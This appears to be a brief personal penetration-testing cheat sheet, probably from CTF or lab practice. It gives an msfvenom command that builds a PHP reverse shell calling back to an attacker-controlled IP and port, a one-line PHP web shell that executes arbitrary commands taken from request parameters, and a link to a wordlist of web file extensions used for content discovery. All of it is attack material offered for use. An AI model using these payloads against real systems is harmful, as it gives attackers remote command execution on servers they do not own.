Reverse shell

// use msfvenom to generate reverse shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php

simple php shell
<?php system($_REQUEST['cmd']); ?>

web extensions
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-extensions.txt